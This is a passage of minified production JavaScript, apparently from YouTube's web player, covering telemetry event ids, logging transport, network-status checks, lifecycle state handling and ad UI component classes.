kidsParentalGateTracking:168,kidsSignedOutSettingsStatus:437,kidsSignedOutPauseHistoryFixStatus:438,tvhtml5WatchdogViolation:444,ypcUpgradeFlow:169,yongleStudy:170,ypcUpdateFlowStarted:171,ypcUpdateFlowCancelled:172,ypcUpdateFlowSucceeded:173,ypcUpdateFlowFailed:174,liteGrowthkitPromo:175,paymentFlowStarted:341,transactionFlowShowPaymentDialog:405,transactionFlowStarted:176,transactionFlowSecondaryDeviceStarted:222,transactionFlowSecondaryDeviceSignedOutStarted:383,transactionFlowCancelled:177,transactionFlowPaymentCallBackReceived:387,
transactionFlowPaymentSubmitted:460,transactionFlowPaymentSucceeded:329,transactionFlowSucceeded:178,transactionFlowFailed:179,transactionFlowPlayBillingConnectionStartEvent:428,transactionFlowSecondaryDeviceSuccess:458,transactionFlowErrorEvent:411,liteVideoQualityChanged:180,watchBreakEnablementSettingEvent:181,watchBreakFrequencySettingEvent:182,videoEffectsCameraPerformanceMetrics:183,adNotify:184,startupTelemetry:185,playbackOfflineFallbackUsed:186,outOfMemory:187,ypcPauseFlowStarted:188,ypcPauseFlowCancelled:189,
ypcPauseFlowSucceeded:190,ypcPauseFlowFailed:191,uploadFileSelected:192,ypcResumeFlowStarted:193,ypcResumeFlowCancelled:194,ypcResumeFlowSucceeded:195,ypcResumeFlowFailed:196,adsClientStateChange:197,ypcCancelFlowStarted:198,ypcCancelFlowCancelled:199,ypcCancelFlowSucceeded:200,ypcCancelFlowFailed:201,ypcCancelFlowGoToPaymentProcessor:402,ypcDeactivateFlowStarted:320,ypcRedeemFlowStarted:203,ypcRedeemFlowCancelled:204,ypcRedeemFlowSucceeded:205,ypcRedeemFlowFailed:206,ypcFamilyCreateFlowStarted:258,
ypcFamilyCreateFlowCancelled:259,ypcFamilyCreateFlowSucceeded:260,ypcFamilyCreateFlowFailed:261,ypcFamilyManageFlowStarted:262,ypcFamilyManageFlowCancelled:263,ypcFamilyManageFlowSucceeded:264,ypcFamilyManageFlowFailed:265,restoreContextEvent:207,embedsAdEvent:327,autoplayTriggered:209,clientDataErrorEvent:210,experimentalVssValidation:211,tvhtml5TriggeredEvent:212,tvhtml5FrameworksFieldTrialResult:216,tvhtml5FrameworksFieldTrialStart:220,musicOfflinePreferences:218,watchTimeSegment:219,appWidthLayoutError:221,
accountRegistryChange:226,userMentionAutoCompleteBoxEvent:227,downloadRecommendationEnablementSettingEvent:228,musicPlaybackContentModeChangeEvent:231,offlineDbOpenCompleted:232,kidsFlowEvent:233,kidsFlowCorpusSelectedEvent:234,videoEffectsEvent:235,unpluggedOpsEogAnalyticsEvent:236,playbackAudioRouteEvent:237,interactionLoggingDebugModeError:238,offlineYtbRefreshed:239,kidsFlowError:240,musicAutoplayOnLaunchAttempted:242,deviceContextActivityEvent:243,deviceContextEvent:244,templateResolutionException:245,
musicSideloadedPlaylistServiceCalled:246,embedsStorageAccessNotChecked:247,embedsHasStorageAccessResult:248,embedsItpPlayedOnReload:249,embedsRequestStorageAccessResult:250,embedsShouldRequestStorageAccessResult:251,embedsRequestStorageAccessState:256,embedsRequestStorageAccessFailedState:257,embedsItpWatchLaterResult:266,searchSuggestDecodingPayloadFailure:252,siriShortcutActivated:253,tvhtml5KeyboardPerformance:254,latencyActionSpan:255,elementsLog:267,ytbFileOpened:268,tfliteModelError:269,apiTest:270,
yongleUsbSetup:271,touStrikeInterstitialEvent:272,liteStreamToSave:274,appBundleClientEvent:275,ytbFileCreationFailed:276,adNotifyFailure:278,ytbTransferFailed:280,blockingRequestFailed:281,liteAccountSelector:282,liteAccountUiCallbacks:283,dummyPayload:284,browseResponseValidationEvent:285,entitiesError:286,musicIosBackgroundFetch:287,mdxNotificationEvent:289,layersValidationError:290,musicPwaInstalled:291,liteAccountCleanup:292,html5PlayerHealthEvent:293,watchRestoreAttempt:294,liteAccountSignIn:296,
notaireEvent:298,kidsVoiceSearchEvent:299,adNotifyFilled:300,delayedEventDropped:301,analyticsSearchEvent:302,systemDarkThemeOptOutEvent:303,flowEvent:304,networkConnectivityBaselineEvent:305,ytbFileImported:306,downloadStreamUrlExpired:307,directSignInEvent:308,lyricImpressionEvent:309,accessibilityStateEvent:310,tokenRefreshEvent:311,genericAttestationExecution:312,tvhtml5VideoSeek:313,unpluggedAutoPause:314,scrubbingEvent:315,bedtimeReminderEvent:317,tvhtml5UnexpectedRestart:319,tvhtml5StabilityTraceEvent:478,
tvhtml5OperationHealth:467,tvhtml5WatchKeyEvent:321,voiceLanguageChanged:322,tvhtml5LiveChatStatus:323,parentToolsCorpusSelectedEvent:324,offerAdsEnrollmentInitiated:325,networkQualityIntervalEvent:326,deviceStartupMetrics:328,heartbeatActionPlayerTransitioned:330,tvhtml5Lifecycle:331,heartbeatActionPlayerHalted:332,adaptiveInlineMutedSettingEvent:333,mainAppLibraryLoadingState:334,thirdPartyLogMonitoringEvent:336,appShellAssetLoadReport:337,tvhtml5AndroidAttestation:338,tvhtml5StartupSoundEvent:340,
iosBackgroundRefreshTask:342,iosBackgroundProcessingTask:343,sliEventBatch:344,postImpressionEvent:346,musicSideloadedPlaylistExport:347,idbUnexpectedlyClosed:348,voiceSearchEvent:349,mdxSessionCastEvent:350,idbQuotaExceeded:351,idbTransactionEnded:352,idbTransactionAborted:353,tvhtml5KeyboardLogging:354,idbIsSupportedCompleted:355,creatorStudioMobileEvent:356,idbDataCorrupted:357,parentToolsAppChosenEvent:358,webViewBottomSheetResized:359,activeStateControllerScrollPerformanceSummary:360,navigatorValidation:361,
mdxSessionHeartbeat:362,clientHintsPolyfillDiagnostics:363,clientHintsPolyfillEvent:364,proofOfOriginTokenError:365,kidsAddedAccountSummary:366,musicWearableDevice:367,ypcRefundFlowEvent:368,tvhtml5PlaybackMeasurementEvent:369,tvhtml5WatermarkMeasurementEvent:370,clientExpGcfPropagationEvent:371,mainAppReferrerIntent:372,leaderLockEnded:373,leaderLockAcquired:374,googleHatsEvent:375,persistentLensLaunchEvent:376,parentToolsChildWelcomeChosenEvent:378,browseThumbnailPreloadEvent:379,finalPayload:380,
mdxDialAdditionalDataUpdateEvent:381,webOrchestrationTaskLifecycleRecord:382,startupSignalEvent:384,accountError:385,gmsDeviceCheckEvent:386,accountSelectorEvent:388,accountUiCallbacks:389,mdxDialAdditionalDataProbeEvent:390,downloadsSearchIcingApiStats:391,downloadsSearchIndexUpdatedEvent:397,downloadsSearchIndexSnapshot:398,dataPushClientEvent:392,kidsCategorySelectedEvent:393,mdxDeviceManagementSnapshotEvent:394,prefetchRequested:395,prefetchableCommandExecuted:396,gelDebuggingEvent:399,webLinkTtsPlayEnd:400,
clipViewInvalid:401,persistentStorageStateChecked:403,cacheWipeoutEvent:404,playerEvent:410,sfvEffectPipelineStartedEvent:412,sfvEffectPipelinePausedEvent:429,sfvEffectPipelineEndedEvent:413,sfvEffectChosenEvent:414,sfvEffectLoadedEvent:415,sfvEffectUserInteractionEvent:465,sfvEffectFirstFrameProcessedLatencyEvent:416,sfvEffectAggregatedFramesProcessedLatencyEvent:417,sfvEffectAggregatedFramesDroppedEvent:418,sfvEffectPipelineErrorEvent:430,sfvEffectGraphFrozenEvent:419,sfvEffectGlThreadBlockedEvent:420,
mdeQosEvent:510,mdeVideoChangedEvent:442,mdePlayerPerformanceMetrics:472,mdeExporterEvent:497,genericClientExperimentEvent:423,homePreloadTaskScheduled:424,homePreloadTaskExecuted:425,homePreloadCacheHit:426,polymerPropertyChangedInObserver:427,applicationStarted:431,networkCronetRttBatch:432,networkCronetRttSummary:433,repeatChapterLoopEvent:436,seekCancellationEvent:462,lockModeTimeoutEvent:483,externalVideoShareToYoutubeAttempt:501,parentCodeEvent:502,offlineTransferStarted:4,musicOfflineMixtapePreferencesChanged:16,
mangoDailyNewVideosNotificationAttempt:40,mangoDailyNewVideosNotificationError:77,dtwsPlaybackStarted:112,dtwsTileFetchStarted:113,dtwsTileFetchCompleted:114,dtwsTileFetchStatusChanged:145,dtwsKeyframeDecoderBufferSent:115,dtwsTileUnderflowedOnNonkeyframe:116,dtwsBackfillFetchStatusChanged:143,dtwsBackfillUnderflowed:117,dtwsAdaptiveLevelChanged:128,blockingVisitorIdTimeout:277,liteSocial:18,mobileJsInvocation:297,biscottiBasedDetection:439,coWatchStateChange:440,embedsVideoDataDidChange:441,shortsFirst:443,
cruiseControlEvent:445,qoeClientLoggingContext:446,atvRecommendationJobExecuted:447,tvhtml5UserFeedback:448,producerProjectCreated:449,producerProjectOpened:450,producerProjectDeleted:451,producerProjectElementAdded:453,producerProjectElementRemoved:454,producerAppStateChange:509,tvhtml5ShowClockEvent:455,deviceCapabilityCheckMetrics:456,youtubeClearcutEvent:461,offlineBrowseFallbackEvent:463,getCtvTokenEvent:464,startupDroppedFramesSummary:466,screenshotEvent:468,miniAppPlayEvent:469,elementsDebugCounters:470,
fontLoadEvent:471,webKillswitchReceived:473,webKillswitchExecuted:474,cameraOpenEvent:475,manualSmoothnessMeasurement:476,tvhtml5AppQualityEvent:477,polymerPropertyAccessEvent:479,miniAppSdkUsage:480,cobaltTelemetryEvent:481,crossDevicePlayback:482,channelCreatedWithObakeImage:484,channelEditedWithObakeImage:485,offlineDeleteEvent:486,crossDeviceNotificationTransfer:487,androidIntentEvent:488,unpluggedAmbientInterludesCounterfactualEvent:489,keyPlaysPlayback:490,shortsCreationFallbackEvent:493,vssData:491,
castMatch:494,miniAppPerformanceMetrics:495,userFeedbackEvent:496,kidsGuestSessionMismatch:498,musicSideloadedPlaylistMigrationEvent:499,sleepTimerSessionFinishEvent:500,watchEpPromoConflict:503,innertubeResponseCacheMetrics:505,miniAppAdEvent:506,dataPlanUpsellEvent:507,producerProjectRenamed:508,producerMediaSelectionEvent:511,embedsAutoplayStatusChanged:512,remoteConnectEvent:513,connectedSessionMisattributionEvent:514,producerProjectElementModified:515};var OA3={},s6q=g.X3("ServiceWorkerLogsDatabase",{wG:(OA3.SWHealthLog={Fs:1},OA3),shared:!0,upgrade:function(x,T){T(1)&&g.GG(g.zG(x,"SWHealthLog",{keyPath:"id",autoIncrement:!0}),"swHealthNewRequest",["interface","timestamp"])},
version:1});var We={},EDJ=0;var Dc;NR.prototype.requestComplete=function(x,T){T&&(this.Z=!0);x=this.removeParams(x);this.C.get(x)||this.C.set(x,T)};
NR.prototype.isEndpointCFR=function(x){x=this.removeParams(x);return(x=this.C.get(x))?!1:x===!1&&this.Z?!0:null};
NR.prototype.removeParams=function(x){return x.split("?")[0]};
NR.prototype.removeParams=NR.prototype.removeParams;NR.prototype.isEndpointCFR=NR.prototype.isEndpointCFR;NR.prototype.requestComplete=NR.prototype.requestComplete;NR.getInstance=Jc;g.P(Cf,g.wv);g.q=Cf.prototype;g.q.TV=function(){return this.C.TV()};
g.q.ER=function(x){this.C.C=x};
g.q.ek=function(){var x=window.navigator.onLine;return x===void 0?!0:x};
g.q.Rb=function(){this.Z=!0};
g.q.listen=function(x,T){return this.C.listen(x,T)};
g.q.uZ=function(x){x=Bs(this.C,x);x.then(function(T){g.R6("use_cfr_monitor")&&Jc().requestComplete("generate_204",T)});
return x};
Cf.prototype.sendNetworkCheckRequest=Cf.prototype.uZ;Cf.prototype.listen=Cf.prototype.listen;Cf.prototype.enableErrorFlushing=Cf.prototype.Rb;Cf.prototype.getWindowStatus=Cf.prototype.ek;Cf.prototype.networkStatusHint=Cf.prototype.ER;Cf.prototype.isNetworkAvailable=Cf.prototype.TV;Cf.getInstance=j63;g.P(g.Qq,g.wv);g.Qq.prototype.TV=function(){var x=g.yJ("yt.networkStatusManager.instance.isNetworkAvailable");return x?x.bind(this.Z)():!0};
g.Qq.prototype.ER=function(x){var T=g.yJ("yt.networkStatusManager.instance.networkStatusHint").bind(this.Z);T&&T(x)};
g.Qq.prototype.uZ=function(x){var T=this,t;return g.G(function(u){t=g.yJ("yt.networkStatusManager.instance.sendNetworkCheckRequest").bind(T.Z);return g.R6("skip_network_check_if_cfr")&&Jc().isEndpointCFR("generate_204")?u.return(new Promise(function(H){var I;T.ER(((I=window.navigator)==null?void 0:I.onLine)||!0);H(T.TV())})):t?u.return(t(x)):u.return(!0)})};var pf;g.P(O5,Lf);O5.prototype.writeThenSend=function(x,T){T||(T={});T=w$(x,T);g.pS()||(this.C=!1);Lf.prototype.writeThenSend.call(this,x,T)};
O5.prototype.sendThenWrite=function(x,T,t){T||(T={});T=w$(x,T);g.pS()||(this.C=!1);Lf.prototype.sendThenWrite.call(this,x,T,t)};
O5.prototype.sendAndWrite=function(x,T){T||(T={});T=w$(x,T);g.pS()||(this.C=!1);Lf.prototype.sendAndWrite.call(this,x,T)};
O5.prototype.awaitInitialization=function(){return this.j.promise};var MF3=g.BX.ytNetworklessLoggingInitializationOptions||{isNwlInitialized:!1};g.DC("ytNetworklessLoggingInitializationOptions",MF3);g.Kf.prototype.isReady=function(){!this.config_&&enf()&&(this.config_=g.Is());return!!this.config_};var fw3,Th,t1;fw3=g.BX.ytPubsubPubsubInstance||new g.UR;Th=g.BX.ytPubsubPubsubSubscribedKeys||{};t1=g.BX.ytPubsubPubsubTopicToKeys||{};g.oR=g.BX.ytPubsubPubsubIsSynchronous||{};g.UR.prototype.subscribe=g.UR.prototype.subscribe;g.UR.prototype.unsubscribeByKey=g.UR.prototype.Cd;g.UR.prototype.publish=g.UR.prototype.publish;g.UR.prototype.clear=g.UR.prototype.clear;g.DC("ytPubsubPubsubInstance",fw3);g.DC("ytPubsubPubsubTopicToKeys",t1);g.DC("ytPubsubPubsubIsSynchronous",g.oR);
g.DC("ytPubsubPubsubSubscribedKeys",Th);var Yr5={};g.P(MD,g.W);MD.prototype.append=function(x){if(!this.Z)throw Error("This does not support the append operation");x=x.yA();this.yA().appendChild(x)};
g.P(A1,MD);A1.prototype.yA=function(){return this.C};g.P(rgm,g.W);var RR=Date.now().toString();var Us={};var FX=Symbol("injectionDeps");rQ.prototype.toString=function(){return"InjectionToken("+this.name+")"};
hrq.prototype.resolve=function(x){return x instanceof zh?h1(this,x.key,[],!0):h1(this,x,[])};var vz;var Gh=window;var gQ=g.R6("web_enable_lifecycle_monitoring")&&LZ()!==0,gD3=g.R6("web_enable_lifecycle_monitoring");LFf.prototype.cancel=function(){for(var x=g.S(this.C),T=x.next();!T.done;T=x.next())T=T.value,T.jobId===void 0||T.A1||this.scheduler.L_(T.jobId),T.A1=!0;this.Z.resolve()};g.q=Bz.prototype;g.q.install=function(x){this.plugins.push(x);return this};
g.q.uninstall=function(){var x=this;g.FD.apply(0,arguments).forEach(function(T){T=x.plugins.indexOf(T);T>-1&&x.plugins.splice(T,1)})};
g.q.transition=function(x,T){var t=this;gQ&&VF3(this.state);var u=this.transitions.find(function(I){return Array.isArray(I.from)?I.from.find(function(E){return E===t.state&&I.n$===x}):I.from===t.state&&I.n$===x});
if(u){this.Z&&(nDJ(this.Z),this.Z=void 0);B2J(this,x,T);this.state=x;gQ&&nZ(this.state);u=u.action.bind(this);var H=this.plugins.filter(function(I){return I[x]}).map(function(I){return I[x]});
u(a2q(this,H),T)}else throw Error("no transition specified from "+this.state+" to "+x);};
g.q.Tnj=function(x){var T=g.FD.apply(1,arguments);g.XM();for(var t=g.S(x),u=t.next(),H={};!u.done;H={tT:void 0},u=t.next())H.tT=u.value,Hem(function(I){return function(){DL(I.tT.name);ND(function(){return I.tT.callback.apply(I.tT,g.U(T))});
yG(I.tT.name)}}(H))};
g.q.Dfu=function(x){var T=g.FD.apply(1,arguments),t,u,H,I;return g.G(function(E){E.C==1&&(g.XM(),t=g.S(x),u=t.next(),H={});if(E.C!=3){if(u.done)return E.lG(0);H.cY=u.value;H.WO=void 0;I=function(Z){return function(){DL(Z.cY.name);var e=ND(function(){return Z.cY.callback.apply(Z.cY,g.U(T))});
Ek(e)?Z.WO=g.R6("web_lifecycle_error_handling_killswitch")?e.then(function(){yG(Z.cY.name)}):e.then(function(){yG(Z.cY.name)},function(l){G9H(l);
yG(Z.cY.name)}):yG(Z.cY.name)}}(H);
Hem(I);return H.WO?g.v(E,H.WO,3):E.lG(3)}H={cY:void 0,WO:void 0};u=t.next();return E.lG(2)})};
g.q.xH=function(x){var T=g.FD.apply(1,arguments),t=this,u=x.map(function(H){return{rB:function(){DL(H.name);ND(function(){return H.callback.apply(H,g.U(T))});
yG(H.name)},
priority:Wz(t,H)}});
u.length&&(this.Z=new LFf(u))};
g.i3.Object.defineProperties(Bz.prototype,{currentState:{configurable:!0,enumerable:!0,get:function(){return this.state}}});var CZ;g.P(J1,Bz);J1.prototype.T=function(x,T){var t=this;this.C=g.wx(0,function(){t.currentState==="application_navigating"&&t.transition("none")},5E3);
x(T==null?void 0:T.event)};
J1.prototype.D=function(x,T){this.C&&(g.Du.L_(this.C),this.C=null);x(T==null?void 0:T.event)};var dp=[];g.DC("yt.logging.transport.getScrapedGelPayloads",function(){return dp});QG.prototype.storePayload=function(x,T){x=pZ(x);this.store[x]?this.store[x].push(T):(this.Z={},this.store[x]=[T]);this.C++;g.R6("more_accurate_gel_parser")&&(T=new CustomEvent("TRANSPORTING_NEW_EVENT"),window.dispatchEvent(T));return x};
QG.prototype.smartExtractMatchingEntries=function(x){if(!x.keys.length)return[];for(var T=fZ(this,x.keys.splice(0,1)[0]),t=[],u=0;u<T.length;u++)this.store[T[u]]&&x.sizeLimit&&(this.store[T[u]].length<=x.sizeLimit?(t.push.apply(t,g.U(this.store[T[u]])),delete this.store[T[u]]):t.push.apply(t,g.U(this.store[T[u]].splice(0,x.sizeLimit))));this.C-=t.length;(x==null?0:x.sizeLimit)&&t.length<(x==null?void 0:x.sizeLimit)&&(x.sizeLimit-=t.length,t.push.apply(t,g.U(this.smartExtractMatchingEntries(x))));
return t};
QG.prototype.extractMatchingEntries=function(x){x=fZ(this,x);for(var T=[],t=0;t<x.length;t++)this.store[x[t]]&&(T.push.apply(T,g.U(this.store[x[t]])),delete this.store[x[t]]);this.C-=T.length;return T};
QG.prototype.getSequenceCount=function(x){x=fZ(this,x);for(var T=0,t=0;t<x.length;t++){var u=void 0;T+=((u=this.store[x[t]])==null?void 0:u.length)||0}return T};
QG.prototype.getSequenceCount=QG.prototype.getSequenceCount;QG.prototype.extractMatchingEntries=QG.prototype.extractMatchingEntries;QG.prototype.smartExtractMatchingEntries=QG.prototype.smartExtractMatchingEntries;QG.prototype.storePayload=QG.prototype.storePayload;var $OX=g.Pi("initial_gel_batch_timeout",2E3),uMX=g.Pi("gel_queue_timeout_max_ms",6E4),HSV=g.Pi("gel_min_batch_size",5),uw=void 0,M$X=new wQ,dOJ=new wQ,sx5=new wQ,t$i=new wQ,HW,j8=!0,m9=1,XX=new Map,qM=g.BX.ytLoggingTransportTokensToCttTargetIds_||{};g.DC("ytLoggingTransportTokensToCttTargetIds_",qM);var EC=g.BX.ytLoggingTransportTokensToJspbCttTargetIds_||{};g.DC("ytLoggingTransportTokensToJspbCttTargetIds_",EC);var oY={},D2X=!1;var MM=g.BX.ytLoggingGelSequenceIdObj_||{};g.DC("ytLoggingGelSequenceIdObj_",MM);var wcV=[];var h$3,rM=g.BX.ytLoggingDocDocumentNonce_;rM||(rM=g.Sq(16),g.DC("ytLoggingDocDocumentNonce_",rM));h$3=rM;var z$3={UQ:0,hMj:1,V7u:2,p6:3,vzG:4,hPU:5,HaG:6,SHARE:7,iay:8,xsW:9,HtY:10,GMf:11,0:"DEFAULT",1:"CHAT",2:"CONVERSATIONS",3:"MINIPLAYER",4:"DIALOG",5:"VOZ",6:"MUSIC_WATCH_TABS",7:"SHARE",8:"PUSH_NOTIFICATIONS",9:"RICH_GRID_WATCH",10:"UNPLUGGED_BROWSE",11:"PICTURE_IN_PICTURE"};var Pjm=1;g.q=RY.prototype;g.q.getAsJson=function(){var x={};this.C.trackingParams!==void 0?x.trackingParams=this.C.trackingParams:(x.veType=this.C.veType,this.C.veCounter!==void 0&&(x.veCounter=this.C.veCounter),this.C.elementIndex!==void 0&&(x.elementIndex=this.C.elementIndex));this.C.dataElement!==void 0&&(x.dataElement=this.C.dataElement.getAsJson());this.C.youtubeData!==void 0&&(x.youtubeData=this.C.youtubeData);this.C.isCounterfactual&&(x.isCounterfactual=!0);return x};
g.q.getAsJspb=function(){var x=new hT;this.C.trackingParams!==void 0?x.setTrackingParams(this.C.trackingParams):(this.C.veType!==void 0&&WB(x,2,q5(this.C.veType)),this.C.veCounter!==void 0&&WB(x,6,q5(this.C.veCounter)),this.C.elementIndex!==void 0&&WB(x,3,q5(this.C.elementIndex)),this.C.isCounterfactual&&WB(x,5,iV(!0)));if(this.C.dataElement!==void 0){var T=this.C.dataElement.getAsJspb();iX(x,hT,7,T)}this.C.youtubeData!==void 0&&iX(x,gJC,8,this.C.jspbYoutubeData);return x};
g.q.toString=function(){return JSON.stringify(this.getAsJson())};
g.q.isClientVe=function(){return!this.C.trackingParams&&!!this.C.veType};
g.q.getLoggingDirectives=function(){return this.C.loggingDirectives};g.DC("yt_logging_screen.getRootVeType",UOf);g.DC("yt_logging_screen.getCurrentCsn",g.Yx);g.DC("yt_logging_screen.getCttAuthInfo",UC);g.DC("yt_logging_screen.setCurrentScreen",vi5);var LWq="absolute_experiments app conditional_experiments debugcss debugjs expflag forced_experiments pbj pbjreload sbb spf spfreload sr_bns_address sttick".split(" ");var JtJ=[{mQ:function(x){return"Cannot read property '"+x.key+"'"},
rT:{Error:[{m0:/(Permission denied) to access property "([^']+)"/,groups:["reason","key"]}],TypeError:[{m0:/Cannot read property '([^']+)' of (null|undefined)/,groups:["key","value"]},{m0:/\u65e0\u6cd5\u83b7\u53d6\u672a\u5b9a\u4e49\u6216 (null|undefined) \u5f15\u7528\u7684\u5c5e\u6027\u201c([^\u201d]+)\u201d/,groups:["value","key"]},{m0:/\uc815\uc758\ub418\uc9c0 \uc54a\uc74c \ub610\ub294 (null|undefined) \ucc38\uc870\uc778 '([^']+)' \uc18d\uc131\uc744 \uac00\uc838\uc62c \uc218 \uc5c6\uc2b5\ub2c8\ub2e4./,
groups:["value","key"]},{m0:/No se puede obtener la propiedad '([^']+)' de referencia nula o sin definir/,groups:["key"]},{m0:/Unable to get property '([^']+)' of (undefined or null) reference/,groups:["key","value"]},{m0:/(null) is not an object \(evaluating '(?:([^.]+)\.)?([^']+)'\)/,groups:["value","base","key"]}]}},{mQ:function(x){return"Cannot call '"+x.key+"'"},
rT:{TypeError:[{m0:/(?:([^ ]+)?\.)?([^ ]+) is not a function/,groups:["base","key"]},{m0:/([^ ]+) called on (null or undefined)/,groups:["key","value"]},{m0:/Object (.*) has no method '([^ ]+)'/,groups:["base","key"]},{m0:/Object doesn't support property or method '([^ ]+)'/,groups:["key"]},{m0:/\u30aa\u30d6\u30b8\u30a7\u30af\u30c8\u306f '([^']+)' \u30d7\u30ed\u30d1\u30c6\u30a3\u307e\u305f\u306f\u30e1\u30bd\u30c3\u30c9\u3092\u30b5\u30dd\u30fc\u30c8\u3057\u3066\u3044\u307e\u305b\u3093/,groups:["key"]},
{m0:/\uac1c\uccb4\uac00 '([^']+)' \uc18d\uc131\uc774\ub098 \uba54\uc11c\ub4dc\ub97c \uc9c0\uc6d0\ud558\uc9c0 \uc54a\uc2b5\ub2c8\ub2e4./,groups:["key"]}]}},{mQ:function(x){return x.key+" is not defined"},
rT:{ReferenceError:[{m0:/(.*) is not defined/,groups:["key"]},{m0:/Can't find variable: (.*)/,groups:["key"]}]}}];var Bxm={q_:[],CN:[{callback:ni4,weight:500}]};var rp;var GM=new g.UR;var Cjq=new Set,ytD=0,OSH=0,pc5=0,Nx3=[],f$5=["PhantomJS","Googlebot","TO STOP THIS SECURITY SCAN go/scan"];var Xcv=new g.bA("parallelCommand");var o$m=new g.bA("performOnceCommand");var Tm5=new g.bA("serialCommand");var nP=void 0;var wId=g.S(Y93({},"Z39Sdf"));wId.next();wId.next();var Ku3=g.S(Y93(null,"qqrkLd"));Ku3.next();Ku3.next();g.P(BW,Zc);var UxJ=new jr("screen-created",BW),KP=[],suV=I_H,XY=0,Dx=new Map,yh=new Map,NM=new Map;g.TV(g.$B,g.W);g.q=g.$B.prototype;g.q.subscribe=function(x,T,t){return this.T9()?0:this.GC.subscribe(x,T,t)};
g.q.unsubscribe=function(x,T,t){return this.T9()?!1:this.GC.unsubscribe(x,T,t)};
g.q.Cd=function(x){return this.T9()?!1:this.GC.Cd(x)};
g.q.publish=function(x,T){return this.T9()?!1:this.GC.publish.apply(this.GC,arguments)};
g.q.gR=function(x,T){for(var t in x)this.subscribe(t,x[t],T)};
g.q.Pr=function(x,T){for(var t in x)this.unsubscribe(t,x[t],T)};var TAC=16/9,zC=[.25,.5,.75,1,1.25,1.5,1.75,2],XIE=zC.concat([3,4,5,6,7,8,9,10,15]),x5y=zC.concat([2.5,3,3.5,4]),Tn9=zC.concat([2.5,3]);var E$v=1;g.P(g.i9,g.W);g.q=g.i9.prototype;
g.q.createElement=function(x,T){T=T||x.L==="svg";var t=x.G,u=x.DZ;if(T){var H=document.createElementNS("http://www.w3.org/2000/svg",x.L);g.XB&&(x.X||(x.X={}),x.X.focusable="false")}else H=g.Xn(x.L);if(t){if(t=I4(this,H,"class",t))EV(this,H,"class",t),this.ra[t]=H}else if(u){t=g.S(u);for(var I=t.next();!I.done;I=t.next())this.ra[I.value]=H;EV(this,H,"class",u.join(" "))}u=x.z9;t=x.W;if(u)T=I4(this,H,"child",u),T!==void 0&&H.appendChild(g.xU(T));else if(t)for(u=0,t=g.S(t),I=t.next();!I.done;I=t.next())if(I=
I.value)if(typeof I==="string")I=I4(this,H,"child",I),I!=null&&H.appendChild(g.xU(I));else if(I.element)H.appendChild(I.element);else{var E=I;I=this.createElement(E,T);H.appendChild(I);E.OF&&(E=Ha(),I.id=E,I=document.createElementNS("http://www.w3.org/2000/svg","use"),I.setAttribute("class","ytp-svg-shadow"),I.setAttributeNS("http://www.w3.org/1999/xlink","href","#"+E),tn(H,I,u++))}if(x=x.X)for(T=H,u=g.S(Object.keys(x)),t=u.next();!t.done;t=u.next())t=t.value,I=x[t],EV(this,T,t,typeof I==="string"?
I4(this,T,t,I):I);return H};
g.q.Um=function(x){return this.ra[x]};
g.q.yU=function(x,T){typeof T==="number"?tn(x,this.element,T):x.appendChild(this.element)};
g.q.detach=function(){g.sm(this.element)};
g.q.update=function(x){for(var T=g.S(Object.keys(x)),t=T.next();!t.done;t=T.next())t=t.value,this.updateValue(t,x[t])};
g.q.updateValue=function(x,T){(x=this.cS["{{"+x+"}}"])&&EV(this,x[0],x[1],T)};
g.q.oU=function(){this.ra={};this.cS={};this.detach();g.W.prototype.oU.call(this)};g.P(g.Q,g.i9);g.q=g.Q.prototype;g.q.Zn=function(x,T){this.updateValue(T||"content",x)};
g.q.show=function(){this.lN||(g.Zt(this.element,"display",""),this.lN=!0)};
g.q.hide=function(){this.lN&&(g.Zt(this.element,"display","none"),this.lN=!1)};
g.q.ou=function(x){x?this.show():this.hide()};
g.q.JM=function(x){this.T=x};
g.q.listen=function(x,T,t){return this.V(this.element,x,T,t)};
g.q.V=function(x,T,t,u){t=(0,g.K4)(t,u||this);u={target:x,type:T,listener:t};this.listeners.push(u);x.addEventListener(T,t);return u};
g.q.f2=function(x){var T=this;this.listeners.forEach(function(t,u){t===x&&(t=T.listeners.splice(u,1)[0],t.target.removeEventListener(t.type,t.listener))})};
g.q.focus=function(){this.element.focus()};
g.q.oU=function(){for(;this.listeners.length;){var x=this.listeners.pop();x&&x.target.removeEventListener(x.type,x.listener)}g.i9.prototype.oU.call(this)};g.P(g.qS,g.Q);g.qS.prototype.subscribe=function(x,T,t){return this.G9.subscribe(x,T,t)};
g.qS.prototype.unsubscribe=function(x,T,t){return this.G9.unsubscribe(x,T,t)};
g.qS.prototype.Cd=function(x){return this.G9.Cd(x)};
g.qS.prototype.publish=function(x){return this.G9.publish.apply(this.G9,[x].concat(g.U(g.FD.apply(1,arguments))))};var oZF=new WeakSet;g.P(ZJ,g.qS);g.q=ZJ.prototype;g.q.bind=function(x){this.mu||x.renderer&&this.init(x.id,x.renderer,{},x);return Promise.resolve()};
g.q.init=function(x,T,t){this.mu=x;this.element.setAttribute("id",this.mu);this.Cz&&g.uY(this.element,this.Cz);this.ZZ=T&&T.adRendererCommands;this.hQ=T.interaction;var u;((u=this.hQ)==null?0:u.onTap)&&g.uY(this.element,"ytp-ad-component--clickable");this.macros=t;this.J=T.trackingParams||null;var H,I;this.N=(I=(H=g.N(T.rendererContext,uoE))==null?void 0:H.loggingDirectives)!=null?I:T.loggingDirectives;this.J!=null?this.createServerVe(this.element,this.J):this.N&&(x=this.element,T=this.N,this.api.createServerVe(x,
this,!0),this.api.setTrackingParams(x,T.trackingParams||null))};
g.q.clear=function(){};
g.q.hide=function(){g.qS.prototype.hide.call(this);(this.J!=null||this.N)&&this.logVisibility(this.element,!1)};
g.q.show=function(){g.qS.prototype.show.call(this);if(!this.Lz){this.Lz=!0;var x=this.ZZ&&this.ZZ.impressionCommand,T,t=(T=this.hQ)==null?void 0:T.onFirstVisible;x?this.Zq(x):t&&(x=aY(t))&&this.Zq(x)}(this.J!=null||this.N)&&this.logVisibility(this.element,!0)};
g.q.onClick=function(x){if((this.J||this.N)&&!oZF.has(x)){var T=this.element;this.api.hasVe(T)&&this.lN&&this.api.logClick(T,this.interactionLoggingClientData);oZF.add(x)}var t=this.ZZ&&this.ZZ.clickCommand,u;T=(u=this.hQ)==null?void 0:u.onTap;if(t)T=this.hg(t),this.Zq(T);else{if(u=T)a:{u=this.element;x=x.composedPath();x=g.S(x);for(t=x.next();!t.done;t=x.next()){t=t.value;if(t===u)break;if(t.className.indexOf("ytp-ad-component--clickable")>=0){u=!1;break a}}u=!0}u&&(T=aY(T))&&this.Zq(T)}};
g.q.hg=function(x){return x};
